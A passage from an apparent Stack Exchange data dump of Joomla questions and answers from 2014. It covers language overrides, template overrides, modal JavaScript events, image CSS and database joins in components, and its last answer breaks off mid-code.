  <row Id="3712" PostTypeId="1" AcceptedAnswerId="3740" CreationDate="2014-07-22T13:55:10.340" Score="1" ViewCount="738" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've rewritten this question, but the topic is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I use the memory usage tool in the Joomla! Debug Console?&lt;/strong&gt; By that I mean, when do people look at this and how do people know when Joomla is using an unusual amount? (especially since there doesn't seem to be any references to compare too?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently my test server is running Joomla 2.5x on Apache with 1 user (me) accessing the site. Memory usage is 18MB of ram. This could be normal, great or poor. I have no idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching the net, I found some mention of Joomla memory usage at &lt;a href=&quot;http://www.joomlapolis.com/forum/153-professional-member-support/222168-excessive-resource-use?limitstart=0&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlapolis.com/forum/153-professional-member-support/222168-excessive-resource-use?limitstart=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-07-24T03:11:56.143" LastActivityDate="2014-07-24T10:49:53.217" Title="How can I use the memory usage tool in the Joomla Debug Console?" Tags="|cms|performance|debug|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3711" CreationDate="2014-07-22T13:58:39.563" Score="1" Body="&lt;p&gt;If you go to you Plugin Manager, ensure the Language Filter plugin is enabled. Open it and on the left and side you will see the option &lt;strong&gt;Language Selection for new Visitors&lt;/strong&gt;. Try setting this to &lt;strong&gt;Site Language&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also ensure that &lt;strong&gt;Automatic Language Change&lt;/strong&gt; is set to &lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-22T13:58:39.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="1" AcceptedAnswerId="3715" CreationDate="2014-07-22T17:47:52.153" Score="5" ViewCount="603" Body="&lt;p&gt;I had to change the text on an Administrator menu item, and found that some of the menu items yse  the &lt;code&gt;title&lt;/code&gt;, others use the &lt;code&gt;alias&lt;/code&gt;.  One used a language string in the &lt;code&gt;title&lt;/code&gt; column, and it works, but when I tried, it did not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain how the administrator menu considers these two columns, and where the Language string should exist.  I tried the obvious places, but no luck - is there a naming convention?&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-07-23T16:31:26.403" Title="How does the Administrator main menu come up with menu item text?" Tags="|menu|administrator|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="2" ParentId="3714" CreationDate="2014-07-22T20:28:52.317" Score="2" Body="&lt;p&gt;The admin menu is an administrator module. It uses language constants for its menu items. To see what language constants it uses for each of its menu items, you can check the module's code in the module's template folder /administrator/modules/mod_menu/tmpl/&lt;/p&gt;&#xA;&lt;p&gt;For example you will see CONSTANTS like :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MOD_MENU_CONFIGURATION&#xA;MOD_MENU_CONTROL_PANEL&#xA;MOD_MENU_CLEAR_CACHE&#xA;MOD_MENU_COM_USERS_USERS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can create a language override for the administrator like below:&#xA;E.g. for English, create a file named:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;en-GB.override.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Add it in the language overrides folder for the administrator:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/administrator/language/overrides&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now you can place your overrides as desired in this file, e.g.:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MOD_MENU_CONFIGURATION=&amp;quot;Settings&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This will override the title for the Global Configuration menu item from &amp;quot;Global Configuration&amp;quot; to &amp;quot;Settings&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Regarding the Components Menu Items:&#xA;You need to check in the administrator your language's folder sys.ini language files for the component you would like to create the override. To find its Constant.&#xA;E.g. for the Contacts Component (com_contact), check in the en-GB.com_contact.sys.ini, you will see its CONSTANT: COM_CONTACT=&amp;quot;Contacts&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;You can then use its CONSTANT in your language override file you created earlier and give your desired name.&lt;/p&gt;&#xA;&lt;h3&gt;Update 1&lt;/h3&gt;&#xA;&lt;p&gt;As an alternative approach, you can use an &lt;a href=&quot;http://extensions.joomla.org/extensions/administration/admin-navigation&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Extension&lt;/strong&gt;&lt;/a&gt; to create your custom Admin Menu with your custom links. I use a lot the &lt;a href=&quot;http://extensions.joomla.org/extensions/administration/admin-navigation/21305&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Admin Menu Manager&lt;/strong&gt;&lt;/a&gt; (Free and Paid download) by Pages and Items.&lt;/p&gt;&#xA;&lt;h3&gt;Update 2&lt;/h3&gt;&#xA;&lt;p&gt;To fully understand how the admin menu works with the Components Menu, you should also study the &lt;code&gt;getComponents&lt;/code&gt; function inside the module's helper file. There you can see that it checks for a few conditions in order to create the final Components SubMenu list.&lt;/p&gt;&#xA;&lt;p&gt;Part of the code of the helper file (~ line 250):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($component-&amp;gt;element))&#xA;{&#xA;    // Load the core file then&#xA;    // Load extension-local file.&#xA;    $lang-&amp;gt;load($component-&amp;gt;element . '.sys', JPATH_BASE, null, false, true)&#xA;||  $lang-&amp;gt;load($component-&amp;gt;element . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component-&amp;gt;element, null, false, true);&#xA;}&#xA;&#xA;$component-&amp;gt;text = $lang-&amp;gt;hasKey($component-&amp;gt;title) ? JText::_($component-&amp;gt;title) : $component-&amp;gt;alias;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-07-23T16:31:26.403" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="2" ParentId="3709" CreationDate="2014-07-22T21:28:52.090" Score="1" Body="&lt;p&gt;I recomend you to use this cck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.aixeena.org/aixeena-lab/aixeena-easy-cck&quot; rel=&quot;nofollow&quot;&gt;http://www.aixeena.org/aixeena-lab/aixeena-easy-cck&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows to add fields to joomla article in a very non-intrusive way.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-07-22T21:28:52.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="1" AcceptedAnswerId="3720" CreationDate="2014-07-23T04:45:30.173" Score="5" ViewCount="86" Body="&lt;p&gt;I need to access an instance of JImage in a template and when calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image-&amp;gt;getPath()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;want to catch InvalidArgumentException in case the image file is not on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try{&#xA;    echo $image-&amp;gt;getPath();&#xA;}catch (Exception $e){&#xA;    $test = 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of catching the Exception the debugger always leads me to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/libraries/cms/error/page.php, function render(Exception $error)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="1629" LastEditDate="2014-09-03T14:00:35.207" LastActivityDate="2014-09-03T14:00:35.207" Title="Catching InvalidArgumentException in template" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3719" PostTypeId="1" AcceptedAnswerId="3735" CreationDate="2014-07-23T06:18:27.410" Score="2" ViewCount="1138" Body="&lt;p&gt;I have a problem executing onclose event multiple time on page.&#xA;I have used handler:iframe to display view in squeezebox modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written following javascript:- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;on child page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery(&quot;#add_agent&quot;).on('click',function (e) {&#xA;            e.preventDefault();&#xA;            jQuery('#agentsList input:checked').each(function() {&#xA;                window.parent.agents.push(jQuery(this).val());&#xA;            });&#xA;            window.parent.SqueezeBox.close();&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;on parent page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    window.agents = [];&#xA;    window.SqueezeBox.addEvent('onClose',function() {&#xA;        if(window.agents.length !== 0){&#xA;            jQuery(&quot;#agentChecked&quot;).css('display','block');&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;onClose event on parent page works fine for the first time. But at second time of closing modal, this event doesn't response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I Do???&lt;/p&gt;&#xA;" OwnerUserId="487" LastEditorUserId="1629" LastEditDate="2014-07-31T02:23:43.740" LastActivityDate="2014-07-31T02:23:43.740" Title="Execute SqueezeBox OnClose Event Multiple Time" Tags="|component|jquery|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="2" ParentId="3718" CreationDate="2014-07-23T10:39:10.340" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/image/image.php#L466&quot; rel=&quot;nofollow&quot;&gt;get-&gt;Path()&lt;/a&gt; method actually does not throw an Exception, so you can not catch it. &lt;code&gt;InvalidArgumentException&lt;/code&gt; is thrown in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/image/image.php#L527&quot; rel=&quot;nofollow&quot;&gt;loadFile()&lt;/a&gt; method, so may be you should use it for your check.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-07-23T10:39:10.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3721" PostTypeId="2" ParentId="3651" CreationDate="2014-07-23T11:13:09.860" Score="1" Body="&lt;p&gt;Okay, after having a better overview of you issue, here is what you need to do to achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template override inside the html folder of your template, for the Tags Component.&#xA;To do this, create the following folder structure:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/templates/yourtemplate/html/com_tags/tag/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Copy in the above folder the file: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;default_items.php &#xA;  from the components/com_tags/views/tag/tmpl folder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Open this file to edit it. Around the line 80 you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('tag_list_show_item_description', 1)) : ?&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt;           &#xA;    &amp;lt;span class=&quot;tag-body&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;core_body, $this-&amp;gt;params-&amp;gt;get('tag_list_item_maximum_characters')); ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;afterDisplayContent; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it by adding your code before echoing the description text (e.g. before the &quot;tag-body&quot; span):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$item-&amp;gt;core_body =strip_tags( $item-&amp;gt;core_body, '&amp;lt;img&amp;gt;');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you will end with something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('tag_list_show_item_description', 1)) : ?&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt;&#xA;    &amp;lt;?php&#xA;        $item-&amp;gt;core_body =strip_tags( $item-&amp;gt;core_body, '&amp;lt;img&amp;gt;');&#xA;    ?&amp;gt;          &#xA;    &amp;lt;span class=&quot;tag-body&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;core_body, $this-&amp;gt;params-&amp;gt;get('tag_list_item_maximum_characters')); ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;afterDisplayContent; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Initial Answer:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You website is a bit confusing, a bit hard to navigate and there is not a standard way to reach to all kind of content and categories. I also think that there is a bit of confusion in the configuration, as some pages are displaying the tags info, other only the categories and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I was trying to reach one of the articles from that tag list to examine how and why it uses an image in its introtext with link to external websites, but although the images of the articles direct to external websites, the article titles produce a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I believe you should refine the whole configuration of the website and the components. I can't say what exactly you need to do within this answer - you probably might need to hire someone to help you sort this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the issue with the links - I checked also a few other tags and not all tags are having links into their description. This leads me to think that those specific images into the introtext are linking to these external websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that since you have set the Tags component to display the introtext, it will just use that and will contain any of the markup of the article's introtext. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to overcome this, is to use the hide introtext feature of the Content component. &#xA;Following this approach, you will be creating the same content twice for introtext and fulltext. In the introtext you will be using the image without the link, while in the fulltext you will be able to add your link. Setting Joomla to hide the introtext from the article display, will result to have 2 different block of texts to display for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The introtext without the links for all blog layouts/ tag lists, article modules etc and the fulltext for the article display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use the Joomla Content's images features, from the tab &quot;Images and Links&quot; and set there your intro image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However keep in mind that the output of each component is also controlled by any possible template overrides for each component.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-07-23T12:29:57.950" LastActivityDate="2014-07-23T12:29:57.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostTypeId="2" ParentId="3709" CreationDate="2014-07-23T12:20:19.133" Score="4" Body="&lt;p&gt;The exact steps to do this for #__content are given at &lt;a href=&quot;https://joomla.stackexchange.com/questions/2395/how-to-save-custom-fields-in-core-components&quot;&gt;this question&lt;/a&gt;.  The main difference for articles that makes the original tutorial unusuable is that articles do not have the params column, but the attribs column instead.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-07-23T12:20:19.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostTypeId="1" AcceptedAnswerId="3728" CreationDate="2014-07-23T13:44:13.073" Score="2" ViewCount="878" Body="&lt;p&gt;&lt;strong&gt;Context:&lt;/strong&gt; On the Tag page (the Tag page I am talking about is the page I get to when I click on a tag just below the title of an article), I want to display only one image per article so: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if there is an intro image, the image in the article are removed&lt;/li&gt;&#xA;&lt;li&gt;if there is no intro image, only the first image of the article is displayed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&#xA;When the Tag page looks like below the size of image of the article just below an article that contains an intro image changes (here the article 3)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;article 1: image is in HTML (introtext) &lt;/li&gt;&#xA;&lt;li&gt;article 2: image is an intro image &lt;/li&gt;&#xA;&lt;li&gt;article 3: image is in HTML (introtext)&lt;/li&gt;&#xA;&lt;li&gt;article 4: image is in HTML (introtext) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The image size should be &lt;code&gt;width=&quot;456&quot; height=&quot;140&quot;&lt;/code&gt;  (the default) but instead it's &lt;code&gt;width=&quot;624&quot; height=&quot;340&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I need help for:&lt;/strong&gt; I am trying to find a way to make sure that the size of my images doesn't change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if (!empty($images-&amp;gt;image_intro)) {                     &#xA;        $item-&amp;gt;core_body= strip_tags( $item-&amp;gt;core_body, '&amp;lt;p&amp;gt;');&#xA;    }                   &#xA;    else {&#xA;        $item-&amp;gt;core_body= preg_replace('/\&amp;lt;img/','****',$item-&amp;gt;core_body,1);&#xA;        $item-&amp;gt;core_body= strip_tags( $item-&amp;gt;core_body, '&amp;lt;p&amp;gt;');&#xA;        $item-&amp;gt;core_body= str_replace('****','&amp;lt;img',$item-&amp;gt;core_body);                  &#xA;    }                   &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have done to fix the problem :&lt;/strong&gt;&#xA;I thought that could be linked to the fact that the height and width of the image aren't set in the HTML, but when I tested the part below alone, the size of my images doesn't change.  So it's seems the problem is somewhere else. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $item-&amp;gt;core_body= preg_replace('/\&amp;lt;img/','****',$item-&amp;gt;core_body,1);&#xA;   $item-&amp;gt;core_body= strip_tags( $item-&amp;gt;core_body, '&amp;lt;p&amp;gt;');&#xA;   $item-&amp;gt;core_body= str_replace('****','&amp;lt;img',$item-&amp;gt;core_body);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rscmovement.org/en/component/tags/tag/52-tolerance&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a live example: Look for the second article (the one just below the yellow drawing with huts). The image of the second and third article are supposed to have the same width.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="168" LastEditDate="2014-07-23T17:19:16.533" LastActivityDate="2014-07-24T16:30:37.227" Title="Remove all &lt;img&gt; tag except the first one change image size - Tag component" Tags="|joomla-3.x|php|overrides|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3724" PostTypeId="1" AcceptedAnswerId="3726" CreationDate="2014-07-23T15:39:07.197" Score="6" ViewCount="225" Body="&lt;p&gt;How would you go about putting one of these:&#xA;&lt;a href=&quot;http://bootstraptour.com/&quot;&gt;http://bootstraptour.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on you Joomla 3 site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I make a module? Modify my template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you do it?&lt;/p&gt;&#xA;" OwnerUserId="1689" LastActivityDate="2014-07-24T16:34:20.083" Title="Bootstrap Tour on Joomla" Tags="|joomla-3.x|bootstrap|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3725" PostTypeId="1" CreationDate="2014-07-23T15:53:42.077" Score="1" ViewCount="883" Body="&lt;p&gt;I have been developing a Joomla based application on my localhost on port 8080. Now what i require is to bind an IP address on Windows 7 running Apache web server so that my Joomla web application can be accessed via the designated IP address in my web browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue or guidelines about how to do that? Thank you&lt;/p&gt;&#xA;" OwnerUserId="1593" LastEditorUserId="1593" LastEditDate="2014-07-23T16:00:44.123" LastActivityDate="2014-07-23T21:34:23.207" Title="How to bind an IP address with apache on Windows 7 to host my Joomla web application?" Tags="|apache|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3726" PostTypeId="2" ParentId="3724" CreationDate="2014-07-23T16:01:38.353" Score="-1" Body="&lt;p&gt;I would not suggest editing your template as it's considered a core hack. Should you ever update your template to a newer version then you changes will be overridden. Instead I would suggest &lt;a href=&quot;http://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow&quot;&gt;developing a plugin&lt;/a&gt;. This might however take some time, especially if you've never developed a plugin before. As an alternative, I've found 2 extensions for this exact feature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/tutorials/22169&quot; rel=&quot;nofollow&quot;&gt;WebSite Tour Guide&lt;/a&gt; ($10)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/tutorials/26119&quot; rel=&quot;nofollow&quot;&gt;Easy Tour&lt;/a&gt; ($12.23)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both &lt;strong&gt;are&lt;/strong&gt; commercial (prices shown above). Unfortunately I did not find any free extensions on the JED site but one of the above might be worth the money if your under a tight deadline or do not feel confident enough with plugin development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-23T16:01:38.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3727" PostTypeId="1" AcceptedAnswerId="3730" CreationDate="2014-07-23T16:12:39.730" Score="5" ViewCount="3752" Body="&lt;p&gt;I'm struggling to learn Joomla 3.x and am baffled as to how to join my record to another table and use the joined data in my view/form. I'm familiar with components that use something similar to this:&#xA;(I've only included partial snippets because the approach I'm familiar with seems quite common throughout other components and my google results)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/mymodel.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// JOIN and retrieve the data I'm interested in:&#xA;function getData()&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('a.name, b.lastvisitDate FROM #__mytable AS a')&#xA;          -&amp;gt;innerJoin('#__users AS b ON a.created_by = b.id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views\myview\tmpl\default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The data from the joined data is available for display something like this&#xA;echo &quot;&amp;lt;span&amp;gt;&quot; . $this-&amp;gt;item-&amp;gt;lastvisitDate. &quot;&amp;lt;/span&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, with Joomla 3, I see a series of function such as &lt;code&gt;prepareTable&lt;/code&gt;,&lt;code&gt;getTable&lt;/code&gt;,&lt;code&gt;getForm&lt;/code&gt;,&lt;code&gt;loadFormData&lt;/code&gt;, and &lt;code&gt;getItem&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As best as I can tell, it's using predefined forms/XML, fields and such that describe the primary table in great detail.  I'm able to &lt;em&gt;change&lt;/em&gt; data in &lt;code&gt;getItem&lt;/code&gt; that shows on the view, but am clueless about how to get usable data from the second table!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best-practice way to join my primary table to another, and be able to display that information with the view.  (&lt;em&gt;e.g. JOIN myTable.created_by on #__users.id to get something like last visit date.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="285" LastEditorUserId="285" LastEditDate="2014-07-23T16:52:44.530" LastActivityDate="2014-07-23T18:02:14.453" Title="How to use data from another table in my view?" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3728" PostTypeId="2" ParentId="3723" CreationDate="2014-07-23T17:16:45.697" Score="2" Body="&lt;p&gt;This will not exactly answer your question, in case you want to use the original size of the images you insert in your articles, however remember that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always manipulate the visual part of the page with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the css below, in your css file (e.g. the template.css) should work and will set a maximum width for all the images that are displayed in the tags page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tag-category .list-striped li img {&#xA;    max-width: 456px;&#xA;    width:100% !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;just as a small improvement, you can also add this additional rule: width:100% !important; - So the images will also respond to the various screen sizes. *I updated the CSS code above.&#xA;*Actually, my way of doing this: to fully style and give my desired layout to the page, would be with CSS. I would only care about the html sizes of the images only for performance considerations.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-07-23T17:38:59.837" LastActivityDate="2014-07-23T17:38:59.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostTypeId="1" CreationDate="2014-07-16T15:28:25.177" Score="2" ViewCount="824" Body="&lt;p&gt;I have a user menu namely X and it is assigned to a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also created a user group and a user access level. Then I assigned the user access level to the user group that I have created, namely Y. However, when I assign the user access level on the module, the module is not shown for me (On an account that I have created, and I have assigned the user group to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did I do wrong? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1694" OwnerDisplayName="alinisme" LastEditorUserId="64" LastEditDate="2014-12-24T17:14:51.753" LastActivityDate="2015-02-22T17:58:57.537" Title="Menu Module not appearing/working with ACL" Tags="|administration|acl|positions|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3730" PostTypeId="2" ParentId="3727" CreationDate="2014-07-23T18:02:14.453" Score="7" Body="&lt;p&gt;I'm not sure if this is the best-practice way of doing it (please comment if there's a better way), or it is exactly what you're looking for, but here's my approach using a Joomla article as an example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Files of Interest&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;components\com_content\views\article\view.html.php&lt;/li&gt;&#xA;&lt;li&gt;components\com_content\models\article.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modify view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Near the top of &lt;code&gt;public function display($tpl = null)&lt;/code&gt;, you'll see a line like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;item = $this-&amp;gt;get('Item');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It gets the article data from function &lt;code&gt;getItem&lt;/code&gt; located in &lt;code&gt;models\article.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Duplicate that line to something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;item        = $this-&amp;gt;get('Mydata');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modify article.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you have to add the function to get the data you're interested in with this block of code: (named according to how you're calling it, preceded by 'get')&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; public function getMydata($pk = null)&#xA;{&#xA;    $myItemObj = new stdClass();&#xA;    $myItemObj-&amp;gt;something = 'something you need';&#xA;&#xA;    $db    = JFactory::getDbo();&#xA;    $query = 